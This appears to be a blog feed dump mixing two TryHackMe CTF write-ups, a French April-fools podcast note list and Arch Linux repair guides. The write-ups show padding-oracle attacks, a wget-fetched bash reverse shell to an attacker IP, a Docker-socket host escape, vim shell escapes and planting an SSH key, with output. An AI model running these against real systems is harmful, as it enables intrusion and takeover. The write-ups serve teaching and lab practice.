                      function stefanTest1002() {    var xhr = new XMLHttpRequest();    var url = "http://localhost/api/debug";    // Submit the AES/CBC/PKCS payload to get an auth token    // TODO: Finish logic to return token    xhr.open("GET", url + "/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4", true);    xhr.onreadystatechange = function () {        if (xhr.readyState === 4 && xhr.status === 200) {            console.log("Response: ", xhr.responseText);        } else {            console.error("Failed to send request.");        }    };    xhr.send();}

                      So it seems the first step will be about cryptography and related to AES/CBC/PKCS, padding and an oracle to break the authentication.

                      The authentication API endpoint is: http://stefan.thm:8080/api/login?username=noraj&password=azerty.

                      Cryptography#

                      The example payload result in authentication success, while modifying it results in a description error.

                      ➜ curl http://stefan.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4Custom authentication success➜ curl http://stefan.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF5Decryption error

                      BlackArch offers a large choice of padding oracle attack tools:

                      ➜ sudo pacman -Ss padding…blackarch/padbuster 11.50e4a3e-3 (blackarch blackarch-exploitation)    Automated script for performing Padding Oracle attacks.blackarch/padoracle v0.1.1.r25.gfbf4883-1 (blackarch blackarch-crypto)    Padding Oracle Attack with Node.js.blackarch/padre v2.2.0.r10.g18618f5-1 (blackarch blackarch-crypto)    Padding Oracle attack tool.blackarch/pax-oracle v0.2.2.r1.g38ac0d8-1 (blackarch blackarch-crypto)    CLI tool for PKCS7 padding oracle attacks.blackarch/poracle 68.dcc00b0-6 (blackarch blackarch-crypto blackarch-webapp)    A tool for demonstrating padding oracle attacks.blackarch/rustpad v1.8.1.r1.g11ce343-1 (blackarch blackarch-crypto blackarch-cracker)    Multi-threaded Padding Oracle attacks against any service.

                      Padding Oracle Attack#

                      With padbuster#

                      ➜ padbuster http://stefan.thm:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 16 -encoding 2+-------------------------------------------+| PadBuster - v0.3.3                        || Brian Holyfield - Gotham Digital Science  || labs@gdssecurity.com                      |+-------------------------------------------+INFO: The original request returned the following[+] Status: 200[+] Location: N/A[+] Content Length: 29INFO: Starting PadBuster Decrypt Mode*** Starting Block 1 of 4 ***INFO: No error string was provided...starting response analysis*** Response Analysis Complete ***The following response signatures were returned:-------------------------------------------------------ID#     Freq    Status  Length  Location-------------------------------------------------------1       1       200     29      N/A2 **    255     500     16      N/A-------------------------------------------------------Enter an ID that matches the error conditionNOTE: The ID# marked with ** is recommended : 2Continuing test with selection 2[+] Success: (133/256) [Byte 16][+] Success: (250/256) [Byte 15][+] Success: (254/256) [Byte 14][+] Success: (174/256) [Byte 13][+] Success: (173/256) [Byte 12][+] Success: (245/256) [Byte 11][+] Success: (254/256) [Byte 10][+] Success: (248/256) [Byte 9][+] Success: (255/256) [Byte 8][+] Success: (246/256) [Byte 7][+] Success: (164/256) [Byte 6][+] Success: (168/256) [Byte 5][+] Success: (246/256) [Byte 4][+] Success: (163/256) [Byte 3][+] Success: (178/256) [Byte 2][+] Success: (166/256) [Byte 1]Block 1 Results:[+] Cipher Text (HEX): ea0dcc6e567f96414433ddf5dc29cdd5[+] Intermediate Bytes (HEX): 4a4153075457000800050d565601047a[+] Plain Text: stefan1197:ebb2BUse of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.*** Starting Block 2 of 4 ***[+] Success: (30/256) [Byte 16][+] Success: (8/256) [Byte 15][+] Success: (152/256) [Byte 14][+] Success: (18/256) [Byte 13]…

                      With padoracle#

                      padoracle requires writing a script, it doesn't iinteract with the web server directly.

                      With pax-oracle#

                      Doesn't support hex encoding.

                      With poracle#

                      poracle is more a library than a CLI tool.

                      With rustpad#

                      As it's correctly multithreaded it's way faster than padbuster.

                      rustpad web --oracle http://stefan.thm:8080/api/debug/NORAJ --block_size 16 --decrypt 39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 --keyword NORAJ -v -e HEX
                      rustpad                                                                                              [0/6] ┌Cypher text [🠕/🠗]─────────────────────────────────────────────────────────────────────────────────────┐ │39353661353931393932373334633638                                                                      │ │ea0dcc6e567f96414433ddf5dc29cdd5                                                                      │ │e418961c0504891f0ded96ba57be8fcf                                                                      │ └──────────────────────────────────────────────────────────────────────────────────────────────────────┘ ┌Forged block──────────────────────────────────────────────────────────────────────────────────────────┐ │5a4e5d0a585c0a0108020b535202067b                                                                      │ │cd3482556857fa777303b8b1ee68f8e2                                                                      │ │b421b9513f3da070338ef1dc378fb8f7                                                                      │ └──────────────────────────────────────────────────────────────────────────────────────────────────────┘ ┌Intermediate block────────────────────────────────────────────────────────────────────────────────────┐ │00000000000000000000000000000000                                                                      │ │4a4153075457000800050d565601047a                                                                      │ │dd3b8c58645cf07e7b04beb4ea6bfae3                                                                      │ └──────────────────────────────────────────────────────────────────────────────────────────────────────┘ ┌Plain text────────────────────────────────────────────────────────────────────────────────────────────┐ │00000000000000000000000000000000                                     ................                 │ │73746566616e313139373a6562623242                                     stefan1197:ebb2B                 │ │373640363223663f3f37634136423736                                     76@62#f??7cA6B76                 │ │40362140363223663664616364323539                                     @6!@62#f6dacd259                 │ │390f0f0f0f0f0f0f0f0f0f0f0f0f0f0f                                     9...............                 │ │                                                                                                      │ │                                                                                                      │ │                                                                                                      │ │                                                                                                      │ │                                                                                                      │ └──────────────────────────────────────────────────────────────────────────────────────────────────────┘ ┌Status────────────────────────────────────────────────────────────────────────────────────────────────┐ │                                                                                                      │ │                                                 100%                                                 │ │                                                                                                      │ │Log [PgUp/PgDwn]                                                                                      │ │         0.200.234:8080/api/debug/765143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5    │ │10:39:00:DEBUG:reqwest::async_impl::client:/build/.cargo/registry/src/github.com-1ecc6299db9ec823/reqw│ │         est-0.11.9/src/async_impl/client.rs:1898:response '500 Internal Server Error' for http://10.1│ │         0.200.234:8080/api/debug/745143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5    │ │10:39:00:DEBUG:reqwest::async_impl::client:/build/.cargo/registry/src/github.com-1ecc6299db9ec823/reqw│ │         est-0.11.9/src/async_impl/client.rs:1898:response '500 Internal Server Error' for http://10.1│ │         0.200.234:8080/api/debug/625143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5    │ │10:39:00:DEBUG:reqwest::async_impl::client:/build/.cargo/registry/src/github.com-1ecc6299db9ec823/reqw│ │         est-0.11.9/src/async_impl/client.rs:1898:response '500 Internal Server Error' for http://10.1│ │         0.200.234:8080/api/debug/d85143174447101810151d464611146aea0dcc6e567f96414433ddf5dc29cdd5    │ │10:39:00:INFO :rustpad:Block 1/4: decrypted!                                                          │ │10:39:00:INFO :rustpad:The oracle talked some gibberish. It took 18s                                  │ │10:39:00:INFO :rustpad:Their divination is: stef…     :edited                                         │ │                                                                                                      │ └──────────────────────────────────────────────────────────────────────────────────────────────────────┘

                      This gives Flag 1.

                      With padre#

                      This one is was yet in BA at the time of doing this challenge, but I'm added it (PR #4176) afterwards.

                      padre -u 'http://stefan.thm:8080/api/debug/$' -e lhex -b 16 39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4
                      [i] padre is on duty[i] using concurrency (http connections): 30[+] successfully detected padding oracle[!] mode: decrypt[1/1] stefan…:edited... [64/64] | reqs: 7508 (268/sec)

                      It's as fast as rustpad but has fewer options and not the possibility to work with script as well (only web apps).

                      Blind RCE#

                      Now we can authenticate with Stefan's account on http://stefan.thm:8080/login.html and use the admin panel page http://stefan.thm:8080/exec.html that allows command execution.

                      On this page is displayed Flag 2.

                      However, we don't have any output of the command, and it seems to be executed asynchronously.So we have a blind remote command execution.

                      We can use the convenient https://www.revshells.com/ to generate reverse shells.

                      Asking for a bash reverse shell directly like /bin/bash -i >& /dev/tcp/10.18.17.12/9999 0>&1 won't work, probably because of how the app handle input/output. Nothing with > or | works.But wget a script containing exactly the same command and execute it will work.Also, bash seems not source, we should use /bin/bash.

                      noraj.sh

                      #!/bin/bash/bin/bash -i >& /dev/tcp/10.18.17.12/9999 0>&1

                      Start a web server on 0.0.0.0:8080: ruby -run -e httpd . -p 8080.

                      Then download the script and execute it.

                      wget http://10.18.17.12:8080/noraj.sh -O /tmp/noraj.sh/bin/bash /tmp/noraj.sh

                      We receive the connection:

                      ➜ ncat -lvnp 9999Ncat: Version 7.95 ( https://nmap.org/ncat )Ncat: Listening on [::]:9999Ncat: Listening on 0.0.0.0:9999idNcat: Connection from 10.10.171.186:35418.bash: cannot set terminal process group (1): Inappropriate ioctl for devicebash: no job control in this shellroot@02e849f307cc:/# iduid=0(root) gid=0(root) groups=0(root)

                      System enumeration#

                      We are root but as you can imagine, that's not the end. In fact the existence of /.dockerenv proves we are in a docker container.

                      root@02e849f307cc:/# ls -lhA /total 72K-rwxr-xr-x   1 root root    0 May  8 12:25 .dockerenvdrwxr-xr-x   1 root root 4.0K May  8 12:25 appdrwxr-xr-x   1 root root 4.0K May  8 12:25 bindrwxr-xr-x   2 root root 4.0K Jun 30  2022 boot

                      The application must be deployed in /app.

                      root@02e849f307cc:/# ls -lhA /apptotal 15Mdrwxr-xr-x 8 root root 4.0K May  8 12:20 .git-rw-r--r-- 1 root root  435 May  8 12:20 .gitignore-rw-r--r-- 1 root root  381 May  8 12:20 Dockerfile-rw-r--r-- 1 root root   58 May  8 12:20 README.md-rw-r--r-- 1 root root  809 May  8 12:20 build.gradle.kts-rw-r--r-- 1 root root  602 May  8 12:20 docker-compose.ymldrwxr-xr-x 3 root root 4.0K May  8 12:20 gradle-rw-r--r-- 1 root root   92 May  8 12:20 gradle.properties-rwxr-xr-x 1 root root 7.9K May  8 12:20 gradlew-rw-r--r-- 1 root root 2.7K May  8 12:20 gradlew.bat-rw-r--r-- 1 root root  15M May  8 12:24 ktor-docker-sample.jar-rw-r--r-- 1 root root   30 May  8 12:20 settings.gradle.ktsdrwxr-xr-x 4 root root 4.0K May  8 12:20 src

                      We could directly look for flags as we know the format:

                      root@02e849f307cc:/app# grep -r 'THM{' ../docker-compose.yml:      - CTF_DOCKER_FLAG=THM{…}./docker-compose.yml:      - CTF_ADMIN_PANEL_FLAG=THM{…}

                      We could also have found it via environment variables:

                      root@02e849f307cc:/app# envHOSTNAME=02e849f307ccJAVA_HOME=/usr/local/openjdk-11PWD=/appCTF_USERNAME=stefan…HOME=/rootLANG=C.UTF-8CTF_DOCKER_FLAG=THM{…}CTF_RESOURCES=/app/src/resourcesCTF_ENCRYPTION_IV=…SHLVL=2CTF_ENCRYPTION_KEY=…PATH=/usr/local/openjdk-11/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binCTF_ADMIN_PANEL_FLAG=THM{…}CTF_PASSWORD=…JAVA_VERSION=11.0.16_=/usr/bin/envOLDPWD=/

                      We have Flag 3.

                      Docker escape#

                      In docker-compose.yml, we can see the docker host daemon socket is mounted into the container. That's an elevation of privilege vector.

                      root@02e849f307cc:/app# cat docker-compose.ymlversion: "3"services:  web:    build: .    ports:      - "8080:8080"    volumes:      - /var/run/docker.sock:/var/run/docker.sock    restart: always    environment:      - CTF_USERNAME=…      - CTF_PASSWORD=…      - CTF_ENCRYPTION_KEY=…      - CTF_ENCRYPTION_IV=…      - CTF_RESOURCES=/app/src/resources      - CTF_DOCKER_FLAG=THM{…}      - CTF_ADMIN_PANEL_FLAG=THM{…}

                      Let's see the images availables:

                      849f307cc:/app# docker imagesREPOSITORY               TAG       IMAGE ID       CREATED         SIZEpadding-oracle-app_web   latest    cd6261dd9dda   2 months ago    1.01GB<none>                   <none>    4187efabd0a5   2 months ago    704MBgradle                   7-jdk11   d5954e1d9fa4   2 months ago    687MBopenjdk                  11        47a932d998b7   23 months ago   654MB

                      But if we try to execute something, we'll get an error as we don't have a TTY.

                      root@02e849f307cc:/app# docker run -v /:/mnt --rm -it openjdk:11 chroot /mnt bashthe input device is not a TTY

                      So first, we need to spawn one:

                      root@02e849f307cc:/app# python3 -c "import pty; pty.spawn('/bin/bash')"

                      Then we can re run the escape method:

                      root@02e849f307cc:/app# docker run -v /:/mnt --rm -it openjdk:11 chroot /mnt bash

                      This time we are root on the host:

                      root@567fe47abc33:/#ls -lhA /total 68Klrwxrwxrwx   1 root root    7 Oct 26  2020 bin -> usr/bindrwxr-xr-x   3 root root 4.0K May  8 06:53 bootdrwxr-xr-x  15 root root 3.2K Jul 19 08:13 devdrwxr-xr-x  97 root root 4.0K Jul 19 08:13 etc-rw-r--r--   1 root root   70 May  8 12:22 flag.txtdrwxr-xr-x   3 root root 4.0K May  7 19:33 homelrwxrwxrwx   1 root root    7 Oct 26  2020 lib -> usr/liblrwxrwxrwx   1 root root    9 Oct 26  2020 lib32 -> usr/lib32lrwxrwxrwx   1 root root    9 Oct 26  2020 lib64 -> usr/lib64lrwxrwxrwx   1 root root   10 Oct 26  2020 libx32 -> usr/libx32drwx------   2 root root  16K Oct 26  2020 lost+founddrwxr-xr-x   2 root root 4.0K Oct 26  2020 mediadrwxr-xr-x   2 root root 4.0K Oct 26  2020 mntdrwxr-xr-x   3 root root 4.0K May  7 20:08 optdr-xr-xr-x 122 root root    0 Jul 19 08:13 procdrwx------   4 root root 4.0K May  8 12:22 rootdrwxr-xr-x  28 root root  980 Jul 19 09:41 runlrwxrwxrwx   1 root root    8 Oct 26  2020 sbin -> usr/sbindrwxr-xr-x   8 root root 4.0K May  8 05:53 snapdrwxr-xr-x   2 root root 4.0K Oct 26  2020 srvdr-xr-xr-x  13 root root    0 Jul 19 08:13 sysdrwxrwxrwt  11 root root 4.0K Jul 19 10:22 tmpdrwxr-xr-x  14 root root 4.0K Oct 26  2020 usrdrwxr-xr-x  13 root root 4.0K Oct 26  2020 var

                      We can grab Flag 4:

                      root@567fe47abc33:/# cat /flag.txtTHM{…}
                      ]]>                       Service Hacktion - Notes attachées au balado S01E10 - Revue d'actualité n°2, spéciale 1er avril https://blog.raw.pm/fr/Service-Hacktion-S01E10-revue-actu-2/ Saison Épisode 1 10

                      Notes#

                      1. Bug Booty
                      • HackerOne lance un partenariat avec OnlyFans
                      • De nouveaux programmes où les bogues seront payés non plus en argent, mais en "nudes"
                      • Ces programmes seront appelés Bug Booty
                      1. xz
                      • Un étudiant à l'origine de la porte dérobée xz
                      • Il aurait voulu déployer un rançongiciel pour se payer des "skins" fortnite
                      1. BreizhCTF
                      • Cette année les "rumps" du BreizhCTF seront obligatoirement en breton
                      1. STHACK
                      • Sthack annulé
                      • Un membre du staff assassiné pour avoir commandé des pains au chocolat pour le petit déjeuner après le CTF au lieu de chocolatines
                      1. Debian
                      • Debian fait partenariat avec ArchLinux
                      • Pour préparer Debian 14 ("stones") qui passera en "rolling release cutting edge"
                      1. Linux
                      • Le code du noyau Linux deviendra privé
                      • Cela fait échos aux récents évènements de porte dérobée dans les sources de xz et nft
                      1. NetExec
                      • NetExec supprime le support de Microsoft Active Directory pour se concentrer sur une autre implémentation LDAP : NetIQ eDirectory
                      1. Q2V0IMOpcGlzb2RlIGVzdCBiaWVuIHPDu3IgdW4gcG9pc3NvbiBkJ0F2cmlsCg==
                      ]]>                       ArchLinux - Save face (and your system) https://blog.raw.pm/en/archlinux-system-rescue/ Whatever boot issue you're facing or system breakage you encounter, that would be neat to be able to fix you system rather than reinstall]]> Alexandre ZANNI linux archlinux linux archlinux Thu, 14 Mar 2024 22:52:00 GMT Whatever boot issue you're facing or system breakage you encounter, that would be neat to be able to fix you system rather than reinstalling it, isn't it?

                      I'll give you a few hints to do that, especially if you have a setup similar to mine.

                      I hope you have an AL USB key ready to go.

                      Unless you have an English qwerty keyboard, don't forget to change your keyboard layout for a good start.

                      loadkeys fr

                      You can use lsblk -f to identify your ESP and your root partition.

                      In case of an encrypted partition, unlock it (eg. LVM on LUKS).

                      cryptsetup open /dev/sdc2 cryptlvm

                      Mount the root partition then the ESP (and swap if you have one).

                      mount /dev/myvg2/root /mntswapon /dev/myvg2/swapmount /dev/sdc1 /mnt/efi

                      Let's change root into the system to be saved:

                      arch-chroot /mnt

                      That may not be a bad idea to drop privileges to normal user to prevent accidents. With great power comes great responsibility.

                      su noraj

                      If planning to fix boot images and having a bind mount, one doesn't want to forget to mount it before generating initramfs images or something.

                      sudo mount --bind /efi/EFI/arch /boot

                      Finally, please try anything in your power to save that poor system.

                      ]]>                       ArchLinux - mkinitcpio v38 upgrade https://blog.raw.pm/en/archlinux-mkinitcpio-v38-upgrade/ With the release of mkinitcpio v38, mkinitcpio hook m]]> Alexandre ZANNI linux archlinux linux archlinux Thu, 14 Mar 2024 22:21:00 GMT With the release of mkinitcpio v38, mkinitcpio hook migration and early microcode has been announced (04/03/2024). But how to migrate?

                      For a setup similar to mine, the steps are as follows.

                      Note: If it's already too late, and you can't boot anymore (blocked by a kernel panic), then this article will help you boot from an AL USB key and rescue your system.

                      First, upgrade the system. (it may fail at mkinitcpio stage, but we'll fix that)

                      pacman -Syu

                      Then, remove all kernel mkinitcpio presets because they contain old directives that will make mkinitcpio fail when trying to build initramfs.

                      rm /etc/mkinitcpio.d/linux*.preset

                      Then in order to re-generate new presets, we'll have to re-install kernel packages in order to trigger the pacman post-transaction hook that generates them.

                      pacman -S linux linux-lts linux-zen

                      Now let's edit mkinitcpio configuration (/etc/mkinitcpio.conf or a drop-in /etc/mkinitcpio.conf.d/hooks.conf) to add the new microcode hook:

                      -HOOKS=(base udev autodetect modconf kms keyboard keymap consolefont block encrypt lvm2 resume filesystems fsck)+HOOKS=(base udev autodetect microcode modconf kms keyboard keymap consolefont block encrypt lvm2 resume filesystems fsck)

                      Now we can edit the bootloader configuration, e.g. for rEFInd /efi/EFI/arch/refind_linux.conf, and remove the microcode initrd that is no longer required as it's now packed together with the main initramfs image:

                      -"Boot with default options"  "cryptdevice=UUID=2fe657fa-3e5d-46db-9f2e-54529f96150e:cryptlvm initrd=\EFI\arch\amd-ucode.img root=/dev/myvg2/root rw initrd=\EFI\arch\initramfs-%v.img resume=/dev/myvg2/swap"+"Boot with default options"  "cryptdevice=UUID=2fe657fa-3e5d-46db-9f2e-54529f96150e:cryptlvm root=/dev/myvg2/root rw initrd=\EFI\arch\initramfs-%v.img resume=/dev/myvg2/swap"

                      Finally, we can rebuild all initramfs images at once:

                      mkinitcpio -P

                      Reboot. You should have survived the mkinitcpio v38 released.

                      ]]>                       Frosteau Busy with Vim - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-Frosteau-Busy-with-Vim-write-up/ Information

                      Room#

                      • Name: Frosteau Busy with V]]> Alexandre ZANNI writeups security linux ssh python writeups ftp docker bypass thm shell telnet escape busybox vim Thu, 07 Mar 2024 22:08:00 GMT Information

                        Room#

                        • Name: Frosteau Busy with Vim
                        • Profile: tryhackme.com
                        • Difficulty: Insane
                        • Description: Stay frosty!

                        Frosteau Busy with Vim

                        This is the Side Quest Challenge 3 of Advent of Cyber '23 Side Quest (advanced bonus challenges alongside Advent of Cyber 2023).

                        Write-up

                        Overview#

                        Install tools used in this WU on BlackArch Linux:

                        $ sudo pacman -S nmap gtfoblookup

                        Challenge#

                        Network enumeration#

                        Port and service enumeration with nmap:

                        # Nmap 7.94 scan initiated Tue Mar  5 21:37:28 2024 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap 10.10.40.126Nmap scan report for 10.10.40.126Host is up, received reset ttl 63 (0.068s latency).Not shown: 65402 closed tcp ports (reset), 127 filtered tcp ports (no-response)Some closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT     STATE SERVICE REASON         VERSION22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:|   3072 54:94:d2:35:84:35:30:ef:44:0d:50:07:26:61:98:7e (RSA)|   256 df:e1:85:f4:49:de:bd:ea:ec:65:35:da:c6:9a:e0:11 (ECDSA)|_  256 9e:5c:44:f9:7f:02:34:8b:d1:42:40:e7:29:b1:21:06 (ED25519)80/tcp   open  http    syn-ack ttl 63 WebSockify Python/3.8.10|_http-title: Error response|_http-server-header: WebSockify Python/3.8.10…8065/tcp open  telnet  syn-ack ttl 62| fingerprint-strings:|   GenericLines, GetRequest, NCP, NULL, RPCCheck, SIPOptions, tn3270:|     Ubuntu 22.04.3 LTS|   Help:|     Ubuntu 22.04.3 LTS|_    HELP8075/tcp open  ftp     syn-ack ttl 62 BusyBox ftpd (D-Link DCS-932L IP-Cam camera)| ftp-syst:|   STAT:| Server status:|  TYPE: BINARY|_Ok| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_Can't get directory listing: PASV IP 172.18.0.2 is not the same as 10.10.40.126|_ftp-bounce: bounce working!8085/tcp open  telnet  syn-ack ttl 62…8095/tcp open  telnet  syn-ack ttl 62…Service Info: OS: Linux; Device: webcam; CPE: cpe:/o:linux:linux_kernel, cpe:/h:dlink:dcs-932lRead data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Tue Mar  5 21:40:08 2024 -- 1 IP address (1 host up) scanned in 160.16 seconds

                        Seems that we have a web server, a SSH server, a FTP server and three telnet services.

                        Web enumeration#

                        We get a 405 error code (Method Not Allowed.), also it seems it's a web socket. So let's try another service for now.

                        FTP enumeration#

                        Anonymous connection is allowed.

                        ➜ ftp 10.10.40.126 8075Connected to 10.10.40.126.220 Operation successfulName (10.10.40.126:noraj): anonymous230 Operation successfulRemote system type is UNIX.Using binary mode to transfer files.

                        A bunch of files are available:

                        ftp> ls200 Operation successful150 Directory listingtotal 8132-rw-r--r--    1 0        0             3010 Nov  5 18:49 FROST-2247-SP.txt-rw-r--r--    1 0        0             3211 Nov  5 18:50 YETI-1125-SP.txt-rw-r--r--    1 0        0               24 Nov  5 19:06 flag-1-of-4.txt-rw-r--r--    1 0        0               12 Nov  5 19:07 flag-2-of-4.sh-rw-r--r--    1 0        0          2127524 Nov  5 18:54 frostling_base.png-rw-r--r--    1 0        0          2305908 Nov  5 18:54 frostling_five.png-rw-r--r--    1 0        0          1589463 Nov  5 18:54 yeti_footage.png-rw-r--r--    1 0        0          2277409 Nov  5 18:54 yeti_mugshot.png226 Operation successful

                        Retrieve every file with the get FTP command.

                        The first flag is contained in flag-1-of-4.txt.

                        flag-2-of-4.sh just contains the follwing line:

                        echo $FLAG2

                        So we know the second flag will be in an environment variabled named FLAG2.

                        FROST-2247-SP.txt contains information about The Frostling Five, maybe this will prove being useful later.

                        YETI-1125-SP.txt is similar but about Bandit Yeti, Snowbyte Hacker, Frosty Fingers.

                        The images don't seem useful for now, unless there is some stego required.

                        Telnet interaction & shell escape#

                        On port 8065, the connection seems to close pretty quick.

                        On port, 8085 we are in vim and on port 8095 we are in nano. So it's looks like we have to escape to the shell (shell escape, see this challenge on ROOT-ME).

                        If you don't know the tricks by heart, you can refresh your memories with gtfoblookup:

                        ➜ gtfoblookup gtfobins search -c shell vimvim:    shell:        Code: vim -c ':!/bin/sh'        Code: vim --cmd ':set shell=/bin/sh|:shell'        Description: This requires that `vim` is compiled with Python                     support. Prepend `:py3` for Python 3.        Code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c",              "reset; exec sh")'        Description: This requires that `vim` is compiled with Lua                     support.        Code: vim -c ':lua os.execute("reset; exec sh")'

                        With :!/bin/bash, we have this error: Cannot execute shell /tmp/sh. But in fact, whatever is the command we want to execute we have the same error.

                        :echo $FLAG2 displays the 2nd flag.

                        Let's see if we have more chance with nano:

                        ➜ gtfoblookup gtfobins search -c shell nanonano:    shell:        Code: nano              ^R^X              reset; sh 1>&0 2>&0        Description: The `SPELL` environment variable can be used in                     place of the `-s` option if the command line cannot be                     changed.        Code: nano -s /bin/sh              /bin/sh              ^T

                        Seems that the classic technic doesn't work here.

                        Let's get back to vim, :py doesn't work but :py3 does!

                        A simple os.system isn't very useful as the output is not returned as a string. The two following commands either as they try to open a shell with /bin/sh. The same apply for all reverse shell techniques as we can't use a shell.

                        :py3 import os; os.popen('id').read():py3 from subprocess import Popen, PIPE; print(Popen(["/bin/ls", "-a"],stdout=PIPE).communicate());

                        So rather than trying harder, we can trying smarter. os.system doesn't use a shell so let's redirect the output to a file then read that file…

                        :py3 import os; os.system("id > /tmp/noraj.log"); print(open("/tmp/noraj.log").read()):py3 import os; os.system("id | tee /tmp/noraj.log"); print(open("/dev/shm/noraj.log").read()):py3 import os; os.system("script -c id -f /dev/shm/noraj.log"); print(open("/dev/shm/noraj.log").read())

                        But for some reason whatever is use (pipe, redirection, or script) os.system seems to not be able to write to a file (only on this machine). So then open returns an error.

                        System exploration & shell escape#

                        With :Ex we have a file explorer we can use to browse and read files.We notice /bin points to /usr/bin that is empty so we don't have shell. At some point we may be forced to upload one (I can write text files with nano or vim, binary files with ftp or python, and we can vim functions like :call setfperm("/tmp/noraj.sh","rwxrwx---") to make binaries executable).FTP files are in /tmp/ftp.

                        Uploading a static shell alone won't be very useful as no coreutils or mostly any useful binaries outside those in /usr/sbin are available.

                        Wait! So my :py3 experimentations were not working because /bin and /usr/bin are empty. But it seems tehre is a busybox as there are files: /etc/busybox and /etc/file/busybox. We can also see this via environment variables.

                        :echo $BU # /etc/file/busybox:echo $BUSY # /etc/busybox

                        Note: 💡 :echo $ let you list all existing environment variables.

                        I also saw the current "shell" is /tmp/sh and there is one in /usr/forsty/sh as well but both seems "empty".

                        In /etc/shell we can see /usr/busybox/sh. Also /.docerenv indicates we are in a docker container.

                        In /proc/etc/environ we can read the following (some ideas on about how the busybox was setup).

                        MAIL=/var/mail/ubuntuUSER=ubuntuBOOTSTRAP=/etc/bootstrap.shHOSTNAME=busybusyboxFTPD_BANNER=Frosteau very busy note boxSHLVL=1PROT=/usr/special/protector.shHOME=/home/ubuntuFLAG2=THM{REDACTED}BUSY=/etc/busyboxLOGNAME=ubuntuPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/binSHELL=/tmp/shPASSWD=/etc/passwdPWD=/BU=/etc/file/busybox

                        Note :version in Vim show the compilation options and all, so it can speedup the recon rather than trying to exectue any command to see if it's available or not.

                        Being very smart, shell escape WITHOUT UPLOADING#

                        At this point I know I could upload a reverse shell binary or a busybox or something but I'm excited about rooting the box without uploading anything, I think it should be possible.

                        Just to verify that theory (and to prove I'm smart), let's try to do this:

                        1. Escape busybox
                          1. which bash -> /usr/bin/bash on a normal machine
                          2. We can read /proc and /proc/<id>/root is a symbolic link to the root of process
                          3. Let's create a loop over positive interger and trying to access /proc/<id>/root/usr/bin/bash
                          4. Once we found the true bash outside teh busybox we define it as shell in vim with :set shell=path/to/bash
                          5. Escape by executing :!/proc/<id>/root/usr/bin/whatever
                        2. Mess with the f**king system!
                        import osfor i in range(1,9999):  if os.path.exists(f"/proc/{i}/root/usr/bin/bash"):      print(i)

                        Note: in our case os.path.exists('file') is better than pathlib.Path('file').exists() because the later triggers a PermissionError while the first just return False in that case.

                        Now let's inline that.

                        import os; [print(i) for i in range(1, 9999) if os.path.exists(f"/proc/{i}/root/usr/bin/bash")]

                        Vim it!

                        :py3 import os; [print(i) for i in range(1, 9999) if os.path.exists(f"/proc/{i}/root/usr/bin/bash")]

                        It returns lots of IDs but teh first one is 1018.

                        Shell it!

                        :set shell=/proc/1018/root/usr/bin/bash

                        :!id will return /proc/1018/root/usr/bin/bash: id: command not found because of course we still have no coreutil binaries in our PATH.

                        But remember? Our mission is to be smart. So what about:

                        :!PATH=/proc/1018/root/usr/bin:$PATH id

                        Of course it works:

                        uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)

                        Let's get serious, we have been kidding for too long:

                        :shellbash: groups: command not foundubuntu@busybusybox:/$ export PATH=/proc/1018/root/usr/bin:$PATHubuntu@busybusybox:/$ iduid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)

                        It's time for an upgrade#

                        ubuntu@busybusybox:/$ sudosudo: error while loading shared libraries: libsudo_util.so.0: cannot open shared object file: No such file or directory

                        We don't want to patch that forever, let's get a really access with a SSH connection outside the busybox.

                        On my machine let's create a SSH key:

                        ssh-keygen -t ed25519 -Z chacha20-poly1305@openssh.com -f noraj_de_ma_clé

                        Write it in the user authorized keys.

                        printf %s 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEXiHbH+uti30TKOD+Y8BmVXfzzCFpt6BBu+chMfJCRI noraj@penarch' > /proc/1018/root/home/ubuntu/.ssh/authorized_keys

                        Oh yeah! I love this connection better:

